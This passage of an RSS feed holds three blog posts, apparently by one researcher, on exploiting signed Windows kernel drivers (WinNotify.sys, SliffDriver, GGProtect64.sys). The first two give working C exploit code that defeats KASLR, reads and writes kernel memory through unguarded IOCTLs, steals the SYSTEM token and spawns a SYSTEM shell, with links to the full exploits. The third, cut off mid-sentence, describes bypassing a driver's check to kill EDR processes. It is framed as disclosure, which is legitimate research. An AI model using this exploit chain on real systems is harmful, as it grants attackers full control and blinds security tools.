a pointer in ntoskrnl pointing to the SYSTEM process EPROCESS. Its offset from ntoskrnl base is obtainable from public symbols using WinDbg or PDB files. Here it was 0xCFC420 on <strong>Windows 10 22H2 build </strong>— this value changes per build, so in a real-world exploit you would resolve it dynamically at runtime rather than hardcoding it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*hKSWC1dEqAOutqKxveFWPg.png" /></figure><pre>DWORD64 sysEprocVA = ReadQWORD(g_kernelVA + 0xCFC420);</pre><h3>Walk ActiveProcessLinks to Find Our EPROCESS</h3><p>EPROCESS contains a doubly-linked list at offset 0x448 — ActiveProcessLinks — that chains every running process together. We walk FLINK entries reading UniqueProcessId at +0x440 until we find our own PID:</p><pre>DWORD myPid = GetCurrentProcessId();<br>DWORD64 flink   = ReadQWORD(sysEprocVA + 0x448);<br>DWORD64 current = flink - 0x448;<br>for (int i = 0; i &lt; 1000; i++) {<br>    DWORD64 pid = ReadQWORD(current + 0x440);<br>    if ((DWORD)pid == myPid) { ourVA = current; break; }<br>    DWORD64 next = ReadQWORD(current + 0x448);<br>    if (next == flink || !next) break;<br>    current = next - 0x448;<br>}</pre><p>We now have both EPROCESS virtual addresses — SYSTEM and ours.</p><h3>Translate Both to Physical Addresses</h3><p>SliffDriver needs physical addresses, so we convert both through Fox:</p><pre>DWORD64 sysEprocPA = VaToPa(sysEprocVA);<br>DWORD64 ourPA      = VaToPa(ourVA);</pre><h3>Read SYSTEM Token via SliffDriver</h3><p>Map the physical address of SYSTEM’s Token field (EPROCESS + 0x4B8) and read it. The Token field is an EX_FAST_REF — the low 4 bits are a reference count and must be masked off:</p><pre>DWORD64 systemToken = ReadPhys64(sysEprocPA + 0x4B8);<br>DWORD64 cleanToken  = systemToken &amp; 0xFFFFFFFFFFFFFFF0ULL;</pre><p>ReadPhys64 calls SliffDriver to map 8 bytes of physical memory and dereferences the returned pointer.</p><h3>Overwrite Our Token via SliffDriver</h3><p>Map our own token field physically and write the SYSTEM token value straight to it:</p><pre>DWORD64 ourTokenVA = MapPhys(ourPA + 0x4B8, 8);<br>*(DWORD64*)ourTokenVA = cleanToken;</pre><p>This write goes directly to physical memory. No kernel validation path runs. No callback fires. The write lands.</p><h3>Spawn SYSTEM Shell</h3><pre>system(&quot;cmd.exe&quot;);</pre><p>Our process now carries the SYSTEM token. The shell inherits it.</p><h3>8. Ending words</h3><p>Driver IOCTL Kernel API Primitive Origin WinNotify 0x222040 Direct dereference Arbitrary kernel virtual read My research driver WinNotify 0x22200C Module list walk KASLR bypass My research driver Fox 0x2220C0 MmGetPhysicalAddress VA→PA translation My research driver SliffDriver 0x80002004 MmMapIoSpace + MmMapLockedPages Arbitrary physical R/W .</p><p>Full Exploit Code on github:<a href="https://github.com/Haider303/sliff-driv-exploit/">https://github.com/Haider303/sliff-driv-exploit/</a></p><p>Exploit running Demo:<a href="https://youtu.be/NZRLX9E_rc0">https://youtu.be/NZRLX9E_rc0</a></p><p>Remember to load all 3 drivers before running the exploit ByBy!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b57d87738308" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WinNotify.sys/signeddrv.sys — Full Local Privilege Escalation via Arbitrary Kernel Read/Write]]></title>
            <link>https://medium.com/@haider303mustafa/winnotify-signeddrv-sys-full-local-privilege-escalation-via-arbitrary-kernel-read-write-09e0c1ababf3?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/09e0c1ababf3</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows-kernel]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[driver-vulnerability]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 18:48:31 GMT</pubDate>
            <atom:updated>2026-06-16T12:24:49.027Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZW35cETojOKD5MxZQ2XEGg.png" /></figure><h3>1. Introduction</h3><p>This post is a full technical disclosure of a local privilege escalation (LPE) vulnerability I discovered in a Windows kernel driver called WinNotify.sys. The driver carries a valid Microsoft Authenticode signature despite having no identifiable vendor — it appears to be an abandoned or leaked internal driver that was never publicly attributed. VirusTotal shows 0 detections across all engines at time of publication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4E-KlileyGllikclKf3tQ.png" /></figure><p>The vulnerability stems from an IOCTL handler that exposes <strong>arbitrary kernel memory read and write primitives</strong> directly to any low-privileged user-mode process, with virtually no access control. By chaining three vulnerable IOCTLs together, an attacker can defeat KASLR, read kernel data structures, steal the SYSTEM process token, and escalate to full NT AUTHORITY\SYSTEM privileges in seconds.</p><h3>2. A little background for those not into BYOVD :</h3><p>Windows runs in two privilege rings. User-mode code (your browser, your malware scanner, your game) runs in Ring 3 — heavily sandboxed by the CPU and OS. Kernel-mode code runs in Ring 0 with unrestricted access to all memory, all hardware, and all processes.</p><p>Kernel drivers (.sys files) are the bridge. They are loaded into kernel space and communicate with user-mode processes via a mechanism called DeviceIoControl. A driver registers a device object (e.g. \\.\WinNotify), and any process that can open a handle to it can send it IOCTL (I/O Control) codes — essentially function calls into the kernel.</p><p>The security model here is simple: the driver author is supposed to carefully validate every input, check caller privileges, and never expose raw kernel memory access. When they fail to do this, the result is exactly what we have here: a userland-to-kernel memory access primitive that any process on the system can use.</p><h3>3. Driver overview</h3><p>signeddrv.sys is a 64-bit Windows kernel driver that registers a device object accessible from user-mode at \\.\WinNotify. It carries a valid Microsoft Authenticode signature, has no identifiable vendor, and as of publication sits at 0 detections on VirusTotal. All IOCTL dispatch logic lives in a single function the decompiler labels FUN_140001a10, which handles every IRP_MJ_DEVICE_CONTROL request the driver receives.</p><p>What immediately stands out when you start reversing this function is the total absence of any privilege check at the top. There is no SePrivilegeCheck, no authentication function , no security descriptor on the device object, no comparison of the caller&#39;s token against an expected integrity level. Any process on the system can open a handle to the device and start sending IOCTLs. The driver just trusts whoever is on the other end completely.</p><p>Now to Load the drive I used OSR Loader u can use any loader or use the <strong>sc.exe </strong>method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*CW3Pn_K8uI1TmMKaxFukEw.png" /></figure><p>And for the Symbolic Link I used a Dynamic Approach even though the device name is statically easily findable(it in the Dispatcher function) but using a dynamic approach is always good for live confirmation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*Pfx0b3daraZoQ8rE_6iXbQ.png" /></figure><h3>4. The vulnerable IOCTLs</h3><p>Reversing the dispatch function reveals quite a few IOCTL codes, but three of them are what matter for this exploit. Everything else I found is not worth showing . The three IOCTLs that give you the full story are 0x22200C, 0x222040, and 0x222044 — a KASLR defeat, an arbitrary kernel read, and an arbitrary kernel write respectively. Together they are everything you need to go from a standard user process to NT AUTHORITY\SYSTEM.</p><p>The reason this combination works so cleanly is that each primitive feeds the next. 0x22200C hands you the kernel base, which lets you compute the address of PsInitialSystemProcess. 0x222040 lets you read that pointer and then walk the kernel data structures it leads to. 0x222044 lets you overwrite a single QWORD in one of those structures — specifically the Token field of your own EPROCESS — and at that point the OS considers your process to be running as SYSTEM. No shellcode, no ROP chains, no kernel code execution needed at all. Just three DeviceIoControl calls doing exactly what the driver lets them do.</p><p>No lets analyze each vuln IOCTL one by one .</p><h3>5. Deep dive: IOCTL 0x22200C — KASLR defeat</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*d9FMH6wc8DcHyvRvKpcYSg.png" /></figure><h3>What it does</h3><p>IOCTL 0x22200C calls an internal function FUN_1400016d8 which walks the kernel&#39;s loaded module list and returns the base address of any named module.</p><pre>// From FUN_140001a10 — the IOCTL dispatcher<br>else if (uVar2 == 0x22200c) {<br>    if (iVar3 == 0x18) {<br>        puVar5 = *(undefined8 **)(param_2 + 0x18);<br>        uVar14 = FUN_1400016d8((char *)*puVar5);  // resolve module name<br>        puVar5[2] = uVar14;                        // store base at offset +0x10<br>        uVar18 = 0x20;<br>        goto LAB_140001e16;<br>    }<br>}</pre><p>The input structure is 0x18 bytes:</p><pre>+0x00  QWORD  Pointer to module name string (e.g. &quot;ntoskrnl.exe&quot;)<br>+0x08  QWORD  (unused by this IOCTL)<br>+0x10  QWORD  [OUTPUT] Module base address written here</pre><h3>The resolver internals</h3><p>FUN_1400016d8 calls an internal helper (FUN_1400017c8) that retrieves a snapshot of the loaded kernel module list , essentially a snapshot of the structure normally accessible via PsLoadedModuleList. It then walks this list performing a case-insensitive string comparison against each entry&#39;s module name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*1dgSrOylVIN29Juf55rk2g.png" /></figure><pre>ulonglong FUN_1400016d8(char *param_1)  // param_1 = &quot;ntoskrnl.exe&quot; from user<br>{<br>    puVar2 = (uint *)FUN_1400017c8(0xb);  // retrieve module list snapshot<br>    <br>    // Walk each module entry<br>    do {<br>        // Get module name from list entry<br>        pcVar5 = (char *)((ulonglong)*(ushort *)((longlong)puVar6 + 0x26) + <br>                           0x28 + (longlong)puVar6);<br>      // Case-insensitive string comparison with user-supplied name<br>        if (uVar8 == uVar11) {  // lengths match<br>            // ... compare characters ...<br>            uVar4 = *(ulonglong *)(puVar6 + 4);  // return module base<br>            break;<br>        }<br>        puVar6 = puVar6 + 0x4a;<br>    } while (uVar12 &lt; *puVar2);<br>    <br>    ExFreePoolWithTag(puVar2, 0);<br>    return uVar4;<br>}</pre><h4><strong>This Defeats KASLR because :</strong></h4><p>Kernel Address Space Layout Randomization (KASLR) randomizes the load address of the kernel and all kernel modules on every boot. The entire point is that user-mode code cannot know where ntoskrnl.exe is loaded. Normally, the only legitimate way to obtain this from user-mode is via NtQuerySystemInformation(SystemModuleInformation), which requires SeDebugPrivilege on modern Windows. Those who dont know why we want to know that where is ntoskrnl.exe , it is becuase it has a export called <strong>PsInitialSystemProcess </strong>which holds a pointer to <strong>EPROCESS </strong>of the <strong>System Process</strong> so we are doing all of this for the System EPROCESS loaction in kernel so that we can read and write it through the Vuln driver .</p><p>So the driver does this for us with 0 privilege checks like it gives us the ntoskrnl.exe address</p><h3>Exploitation</h3><pre>DWORD64 GetKernelBase() {<br>    BYTE inBuf[0x18] = {};<br>    BYTE outBuf[0x20] = {};<br>    <br>    // Pass pointer to &quot;ntoskrnl.exe&quot; string at offset +0x00<br>    *(DWORD64*)inBuf = (DWORD64)&quot;ntoskrnl.exe&quot;;<br>    <br>    DWORD bytesRet = 0;<br>    DeviceIoControl(hDev, 0x22200C,<br>                    inBuf, sizeof(inBuf),<br>                    outBuf, sizeof(outBuf),<br>                    &amp;bytesRet, NULL);<br>    <br>    // Base is written back at offset +0x10 of the shared buffer<br>    return *(DWORD64*)(outBuf + 16);<br>}</pre><p>On Windows 10 22H2 a typical result looks like:</p><pre>[+] Kernel base: 0xfffff80512c00000</pre><p>With the kernel base in hand, we can compute the address of any exported symbol by adding its static offset — for example, PsInitialSystemProcess at kBase + 0xcfc420.</p><p>This will work on any windwos version because the driver is doing this for us so as long as the driver is loadable on the machine we can defeat KASLR.</p><h3>6. Deep dive: IOCTL 0x222040 — arbitrary kernel read</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*0lmMlD3HbaLViN39IpLj0w.png" /></figure><h3>What it does</h3><p>IOCTL 0x222040 reads five consecutive QWORDs from a kernel address computed as base + offset and copies them into the caller&#39;s output buffer. The handler is inlined directly in the dispatcher:</p><pre>if (uVar2 == 0x222040) {<br>    uVar18 = 0x38;<br>    if (iVar3 == 0x38) {<br>        plVar6 = *(longlong **)(param_2 + 0x18);  // shared user/kernel buffer<br>        lVar7 = plVar6[1];   // offset<br>        lVar8 = *plVar6;     // base address<br>        // Read 5 QWORDs from base+offset<br>        lVar12 = ((longlong *)(lVar7 + lVar8))[1];         // +0x08<br>        plVar1 = (longlong *)(lVar7 + 0x10 + lVar8);<br>        lVar10 = *plVar1;                                    // +0x10<br>        lVar11 = plVar1[1];                                  // +0x18<br>        lVar15 = *(longlong *)(lVar7 + 0x20 + lVar8);       // +0x20<br>        // BUG: only writes output if value at (base+offset+0x10) != 0<br>        if (lVar10 != 0) {<br>            plVar6[2] = *(longlong *)(lVar7 + lVar8);  // +0x00<br>            plVar6[3] = lVar12;                          // +0x08<br>            plVar6[4] = lVar10;                          // +0x10<br>            plVar6[5] = lVar11;                          // +0x18<br>            plVar6[6] = lVar15;                          // +0x20<br>        }<br>    }<br>}</pre><p>The input/output buffer layout (0x38 bytes, METHOD_NEITHER — shared between input and output):</p><pre>+0x00  QWORD  base address (kernel address to read from)<br>+0x08  QWORD  offset       (added to base)<br>--- output written back into the same buffer ---<br>+0x10  QWORD  *(base+offset+0x00)<br>+0x18  QWORD  *cc(base+offset+0x08)<br>+0x20  QWORD  *(base+offset+0x10)   ← must be non-zero or nothing is written<br>+0x28  QWORD  *(base+offset+0x18)<br>+0x30  QWORD  *(base+offset+0x20)</pre><h3>The non-zero guard quirk</h3><p>There is one constraint: the driver only writes the output if *(base + offset + 0x10) is non-zero. This is a logic bug — it was probably intended as a validity check but it silently suppresses all output when the value at that offset happens to be zero.</p><p>The workaround is straightforward: to read a QWORD at target address T, send base = T - 0x10 and offset = 0. The target value lands at base + 0x10, which is out[2]. As long as we are not specifically targeting a zero-valued QWORD (rare for kernel pointers), this always works.</p><pre>DWORD64 ReadQWORD(DWORD64 addr) {<br>    // Position addr at +0x10 relative to base to satisfy the non-zero guard<br>    DWORD64 base = addr - 0x10;<br>    <br>    BYTE inBuf[0x38] = {};<br>    *(DWORD64*)(inBuf + 0x00) = base;<br>    *(DWORD64*)(inBuf + 0x08) = 0;     // offset = 0<br>    <br>    BYTE outBuf[0x40] = {};<br>    DWORD bytesRet = 0;<br>    DeviceIoControl(hDev, 0x222040,<br>                    inBuf, sizeof(inBuf),<br>                    outBuf, sizeof(outBuf),<br>                    &amp;bytesRet, NULL);<br>    <br>    // out[2] lives at outBuf+0x20 = *(base+0x10) = *addr<br>    return *(DWORD64*)(outBuf + 0x20);<br>}</pre><p>There is <strong>no validation</strong> on the base address. The driver directly dereferences whatever pointer the caller provides. Pointing it at an invalid kernel address will trigger a bugcheck (BSOD), but any valid mapped kernel address is fair game.</p><h3>7. Deep dive: IOCTL 0x222044 — arbitrary kernel write</h3><p>This IOCTL is a Big one i cant paste the screenhot here</p><h3>What it does</h3><p>IOCTL 0x222044 calls an optimized memmove implementation (FUN_140003200) with three fully user-controlled parameters: source pointer, size, and destination address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*eytNjhEGriCFODuWWssGNw.png" /></figure><pre>// IOCTL 0x222044 handler<br>uVar18 = 0x18;<br>if (iVar3 != 0x18) goto LAB_140001aa4;<br>puVar5 = *(undefined8 **)(param_2 + 0x18);<br><br>// The only &quot;validation&quot;: checks for NULL and zero size<br>if (((puVar5 != (undefined8 *)0x0) &amp;&amp;<br>     ((undefined8 *)puVar5[2] != (undefined8 *)0x0)) &amp;&amp;<br>    (puVar5[1] != 0)) {<br>    // memmove(dst, src, size) - ALL USER-SUPPLIED, NO ADDRESS VALIDATION<br>    FUN_140003200((undefined8 *)puVar5[2], (undefined8 *)*puVar5, puVar5[1]);<br>    uVar13 = 0;<br>}</pre><p>Input structure is (0x18 bytes):</p><pre>+0x00  QWORD  src  — pointer to user buffer (data to write)<br>+0x08  QWORD  size — number of bytes to write<br>+0x10  QWORD  dst  — destination kernel address (WHERE TO WRITE)</pre><h3>Why this is so dangerous</h3><p>The entire validation consists of three NULL/zero checks. There is no:</p><ul><li>Privilege check on the caller</li><li>Validation that dst is a kernel address vs. a user address</li><li>Bounds check</li><li>Write-protect check on the target page</li><li>Any use of ProbeForWrite or MmIsAddressValid</li></ul><p>The driver calls memmove directly with user-supplied arguments. This means a low-privilege process can write arbitrary bytes to any kernel virtual address that is mapped and writable. This includes:</p><ul><li>The Token field of any EPROCESS structure</li><li>Kernel code pages (if not write-protected by Secure Boot/HVCI)</li><li>Driver dispatch table entries</li><li>HAL data structures</li></ul><h3>Usage</h3><pre>BOOL KernelWrite(DWORD64 dst, void* src, DWORD64 size) {<br>    BYTE inBuf[0x18] = {};<br>    *(DWORD64*)(inBuf + 0x00) = (DWORD64)src;  // source: our user buffer<br>    *(DWORD64*)(inBuf + 0x08) = size;           // size<br>    *(DWORD64*)(inBuf + 0x10) = dst;            // destination: kernel address<br>    <br>    DWORD bytesRet = 0;<br>    return DeviceIoControl(hDev, 0x222044,<br>                           inBuf, sizeof(inBuf),<br>                           NULL, 0, &amp;bytesRet, NULL);<br>}</pre><h3>8. Deep dive: IOCTL 0x222000 / 0x222004 — DirBase read/write</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*ZYJUUjvL_E2PxSxiq52kQA.png" /></figure><p>These two IOCTLs provide an even more fundamental primitive: they perform a full 4-level x64 page table walk using a <strong>user-supplied DirBase (CR3 value)</strong> and then read or write physical memory directly using MmCopyMemory and MmMapIoSpaceEx respectively.</p><h3>Input structure (0x28 bytes for both):</h3><pre>+0x00  DWORD  flags<br>+0x08  QWORD  virtual address (destination for read / source for write)<br>+0x10  QWORD  user buffer pointer (output for read / input for write)<br>+0x18  QWORD  size in bytes<br>+0x20  QWORD  DirBase (CR3) — PAGE TABLE ROOT — USER SUPPLIED</pre><p>The DirBase is the physical address of the top-level page table (PML4). Normally this is a privileged value accessible only from kernel mode (via EPROCESS.DirectoryTableBase at offset +0x28). The driver accepts it as user input with no validation.</p><p>If an attacker can read the DirectoryTableBase of the System process (which they can, using IOCTL 0x222040 after the KASLR defeat), they can then use these IOCTLs to read and write any physical memory address in the system — including memory that is not mapped into any virtual address space.</p><p>This is even more powerful than the 0x222040/0x222044 chain because it bypasses virtual memory protections entirely. However, for the token-stealing exploit, the simpler chain is sufficient.</p><h3>9. The page table walker: FUN_140002c10</h3><p>This is the core function used by IOCTLs 0x222000 and 0x222004. It implements a complete software 4-level x64 page table walk:</p><pre>ulonglong FUN_140002c10(ulonglong param_1,   // virtual address<br>                         ulonglong param_2)  // DirBase (CR3) — user supplied<br>{<br>    // PML4 index = VA bits [47:39]<br>    FUN_140002ae4((param_2 &amp; 0xfffffffffffffff0) +<br>                  (param_1 &gt;&gt; 0x27 &amp; 0x1ff) * 8,<br>                  &amp;local_res8, 8, &amp;local_res10);<br>    <br>    // PDPT index = VA bits [38:30]<br>    FUN_140002ae4((uVar1 &amp; 0xffffff000) +<br>                  (param_1 &gt;&gt; 0x1e &amp; 0x1ff) * 8, ...);<br>    <br>    // PD index = VA bits [29:21]<br>    FUN_140002ae4(uVar1 + (param_1 &gt;&gt; 0x15 &amp; 0x1ff) * 8, ...);<br>    <br>    // PT index = VA bits [20:12]<br>    FUN_140002ae4(uVar1 + (param_1 &gt;&gt; 0xc &amp; 0x1ff) * 8, ...);<br>    <br>    // Return physical address: PFN + page offset<br>    return (local_res8 &amp; 0xffffff000) + (param_1 &amp; 0xfff);<br>}</pre><p>Each level reads a physical page table entry using MmCopyMemory with MM_COPY_MEMORY_PHYSICAL. The function correctly handles 2MB large pages (PS bit in PDE) and 1GB huge pages (PS bit in PDPE), making it a fully functional PT walker.</p><p>The critical flaw: there is no check that param_2 (the DirBase) belongs to the calling process or is even a page-aligned physical address. An attacker can supply the System process&#39;s DirBase and traverse its entire address space.</p><h3>10. Proof of concept walkthrough</h3><p>The first thing the exploit does is open a handle to the driver’s device object. This is just a standard CreateFile call to \\.\WinNotify with read/write access. No admin prompt, no UAC, nothing special — the driver&#39;s device object has no security descriptor restricting who can open it, so any process on the system gets a handle back without complaint.</p><pre>HANDLE hDev = CreateFileW(L&quot;\\\\.\\WinNotify&quot;,<br>                           GENERIC_READ | GENERIC_WRITE,<br>                           0, NULL, OPEN_EXISTING,<br>                           FILE_ATTRIBUTE_NORMAL, NULL);<br>if (hDev == INVALID_HANDLE_VALUE) {<br>    printf(&quot;[-] Failed to open device: %lu\n&quot;, GetLastError());<br>    return 1;<br>}</pre><p>Once we have the handle, the first real step is defeating KASLR. We send IOCTL 0x22200C with a pointer to the string &quot;ntoskrnl.exe&quot; in our input buffer. The driver walks its internal loaded module list, finds the matching entry, and writes the base address back into the same buffer at offset +0x10. One call and we know exactly where the kernel is loaded in memory — something that normally requires SeDebugPrivilege or EnumDeviceDriversobtain legitimately.</p><pre>DWORD64 GetKernelBase() {<br>    BYTE buf[0x20] = {};<br>    *(DWORD64*)buf = (DWORD64)&quot;ntoskrnl.exe&quot;;  // pointer to name at +0x00<br>    DWORD ret = 0;<br>DeviceIoControl(hDev, 0x22200C,<br>                    buf, 0x18,   // input: 0x18 bytes<br>                    buf, 0x20,   // output written back into same buffer<br>                    &amp;ret, NULL);<br>    return *(DWORD64*)(buf + 16);  // base is at +0x10 in the output<br>}</pre><p>With the kernel base in hand we can now compute the virtual address of any kernel symbol by adding its static offset. The symbol we care about immediately is PsInitialSystemProcess — a kernel global that holds a pointer directly to the EPROCESS of the System process (PID 4). We compute its address as kernelBase + 0xcfc420 and read the QWORD sitting there using IOCTL 0x222040.</p><p>But 0x222040 has a quirk worth understanding before we use it. The handler reads five QWORDs starting at base + offset and only writes output if the value at base + offset + 0x10 is non-zero. So to reliably read a single QWORD at any target address T, we pass base = T - 0x10 and offset = 0, which positions our target at +0x10 relative to base. The value we want comes back in out[2] of the output buffer.</p><pre>DWORD64 ReadQWORD(DWORD64 addr) {<br>    BYTE buf[0x40] = {};<br>    *(DWORD64*)(buf + 0x00) = addr - 0x10;  // base: puts target at +0x10<br>    *(DWORD64*)(buf + 0x08) = 0;             // offset: 0<br>    DWORD ret = 0;<br>DeviceIoControl(hDev, 0x222040,<br>                    buf, 0x38,<br>                    buf, 0x40,<br>                    &amp;ret, NULL);<br>    return *(DWORD64*)(buf + 0x20);  // out[2] = *(base+0x10) = *addr<br>}<br>// read PsInitialSystemProcess → System EPROCESS address<br>DWORD64 sysEproc = ReadQWORD(kBase + 0xcfc420);<br>printf(&quot;[+] System EPROCESS: 0x%llx\n&quot;, sysEproc);</pre><p>From the System EPROCESS we do two things. First we read its Token field at offset +0x4B8. The token is stored as an EX_FAST_REF, meaning the kernel uses the low 4 bits as a reference count rather than part of the pointer — so we mask those off before using the value.</p><pre>DWORD64 sysToken = ReadQWORD(sysEproc + 0x4B8) &amp; ~0xFULL;<br>printf(&quot;[+] System token: 0x%llx\n&quot;, sysToken);</pre><p>Second, we walk the ActiveProcessLinks list at +0x448. This is a doubly-linked list that chains the EPROCESS of every running process on the system together. We iterate through it, reading UniqueProcessId at +0x440 on each entry, until we find the one whose PID matches our own. Every read here goes through the same ReadQWORD wrapper — we&#39;re just walking a linked list that happens to live in kernel memory.</p><pre>DWORD myPid = GetCurrentProcessId();<br>DWORD64 flink = ReadQWORD(sysEproc + 0x448);<br>DWORD64 current = flink - 0x448;  // back-calculate EPROCESS base from flink<br>DWORD64 ourEproc = 0;<br>for (int i = 0; i &lt; 1000; i++) {<br>    DWORD64 pid = ReadQWORD(current + 0x440);<br>    if ((DWORD)pid == myPid) {<br>        ourEproc = current;<br>        break;<br>    }<br>    // follow flink to next EPROCESS<br>    DWORD64 next = ReadQWORD(current + 0x448);<br>    if (next == flink || !next) break;<br>    current = next - 0x448;<br>}<br>printf(&quot;[+] Our EPROCESS: 0x%llx\n&quot;, ourEproc);</pre><p>The final step is a single write. We send IOCTL 0x222044 with our SYSTEM token as the source, 8 as the size, and ourEPROCESS + 0x4B8 as the destination. The driver calls memmove and overwrites our token field with the SYSTEM token. The input buffer layout is three QWORDs: source pointer, size, then destination address — in that exact order.</p><pre>BOOL KernelWrite(DWORD64 dst, void* src, DWORD64 size) {<br>    BYTE buf[0x18] = {};<br>    *(DWORD64*)(buf + 0x00) = (DWORD64)src;  // source: our userland buffer<br>    *(DWORD64*)(buf + 0x08) = size;           // size: 8 bytes<br>    *(DWORD64*)(buf + 0x10) = dst;            // destination: kernel address<br>    DWORD ret = 0;<br>return DeviceIoControl(hDev, 0x222044,<br>                           buf, 0x18,<br>                           NULL, 0, &amp;ret, NULL);<br>}<br>// overwrite our token with the SYSTEM token<br>KernelWrite(ourEproc + 0x4B8, &amp;sysToken, 8)</pre><p>From the OS’s perspective our process is now running as NT AUTHORITY\SYSTEM. Every privilege check that inspects our token will see the System process&#39;s credentials. We call system(&quot;whoami&quot;) to confirm and it prints exactly that.</p><p>Full exploit code on github : <a href="https://github.com/Haider303/winnotify-exp/">https://github.com/Haider303/winnotify-exp/</a></p><p>Demo Video of the Exp running : <a href="https://youtu.be/cgTvOyb-dWE">https://youtu.be/cgTvOyb-dWE</a></p><p>Thanks peace out !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09e0c1ababf3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Weak Driver Authentication to Kill PPL-Protected Processes: GGProtect64.sys Analysis]]></title>
            <link>https://medium.com/@haider303mustafa/bypassing-weak-driver-authentication-to-kill-ppl-protected-processes-ggprotect64-sys-analysis-d8f44c5837b4?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8f44c5837b4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows-10]]></category>
            <category><![CDATA[microsoft-defender]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[windows-11]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Fri, 05 Jun 2026 07:42:55 GMT</pubDate>
            <atom:updated>2026-06-05T07:42:55.503Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*iSFQR9OInl6sA_8uUgYffQ.png" /></figure><h3>Introduction</h3><p>Bring Your Own Vulnerable Driver (BYOVD) is a well-known post-exploitation technique used by adversaries and red teamers alike. This blog post documents the discovery and responsible disclosure of a vulnerability in a widely deployed Chinese anticheat kernel driver that allows any local user to bypass a weak authentication mechanism and terminate any process on the system including PPL-protected security software.</p><p>Unlike typical BYOVD targets where drivers have no authentication at all, this driver implements what appears to be a security check — a session registration mechanism that gates access to privileged IOCTLs. On closer inspection the mechanism is trivially bypassable by any process on the system.</p><h3>Driver Overview</h3><p>The driver creates a device object accessible from usermode at:</p><pre>\\.\GGProtect64</pre><p>Finding the Device name Statically was not possible because it was burried deep inside some random function this driver had so many nested function ,even the ICOTL Dispatcher was hard to find . So I used a Dynamic Approach . I loaded the Driver using <strong>OSR Loader</strong> and then used <strong>WinObj</strong> to find the Symbolic Link using the <strong>GLOBALS?</strong> Section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*1nhsIzRJOvH1Q7jXqA50IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*qQ-r4o3-DEYpyvBHHhK4Og.png" /></figure><p>It is a full-featured anticheat kernel driver exposing a large number of IOCTLs covering process protection, memory scanning, keyboard and mouse hooking, registry monitoring, process injection, and driver enumeration.</p><p>The driver implements what it calls a session registration system — a caller must first register itself via IOCTL 0x223C14 before any other IOCTL will work. This is intended to restrict access to only the legitimate game client. As we will see this restriction is completely ineffective.</p><h3>Virus Total Score and its Loadability on Windows :</h3><p>This driver has a Virus total Score of 0 it means that it is not detectable or flaged as malicious by any antivirus or vendors listed on virus total :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoFcJoAI21ozVFOZPmTIg.png" /></figure><p>Also this driver has a Valid Signed Certificate . So it can kill any PPL process even Crowd Strike Falcon process or any EDR process.</p><h3>Reversing the Driver</h3><p>Most drivers make reverse engineering straightforward — the IOCTL dispatcher is usually easy to find by looking for IRP_MJ_DEVICE_CONTROL registration in DriverEntry. This driver was different.</p><p>The dispatcher function was buried deep inside a chain of nested function calls. There was no obvious entry point and following the control flow from DriverEntry alone would have taken a significant amount of time to untangle.</p><h4>The Approach: Following Imports</h4><p>Instead of top-down analysis the key was to start from the bottom — from what the driver actually does rather than how it is structured.</p><p>The first step was opening the <strong>Imports</strong> window in Ghidra and looking for dangerous kernel functions. One immediately stood out:</p><pre>ZwTerminateProcess()</pre><p>Any driver importing ZwTerminateProcess is doing something interesting. This is not a function you need for normal driver operations — its only purpose is killing processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Kh2r6oVlC34lP4OBaoZbQ.png" /></figure><h4>Tracing the Call Chain</h4><p>With ZwTerminateProcess identified the next step was finding where it gets called. In Ghidra this is done by right clicking the import and selecting <strong>Show References</strong> — this gives every location in the binary that calls or references this function.</p><p>The reference pointed to FUN_140011cb8 — a small focused function whose entire purpose is opening and terminating a process:</p><pre>void FUN_140011cb8(undefined8 param_1) {<br>    ZwOpenProcess(&amp;local_res10, 0x1fffff, ...);<br>    ZwTerminateProcess(local_res10, 0);<br>    // fallback to PsSuspendProcess if termination fails<br>}</pre><h4>Working Backwards</h4><p>Now the question was — who calls FUN_140011cb8? Another <strong>Show References</strong> on this function revealed it was called from exactly one place inside the massive dispatcher function FUN_14000a480.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UoRbAx87daGbah18caZr0Q.png" /></figure><p>That single cross-reference was the thread that unraveled the whole dispatcher. From there the structure became clear — a giant if-else chain handling dozens of IOCTL codes with FUN_140011cb8 called when IOCTL 0x223C04 is received with a valid PID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAdq0hP_z_0qlrs0pD10mw.png" /></figure><h3>The Authentication Mechanism</h3><h4>How It Works</h4><p>The dispatcher function 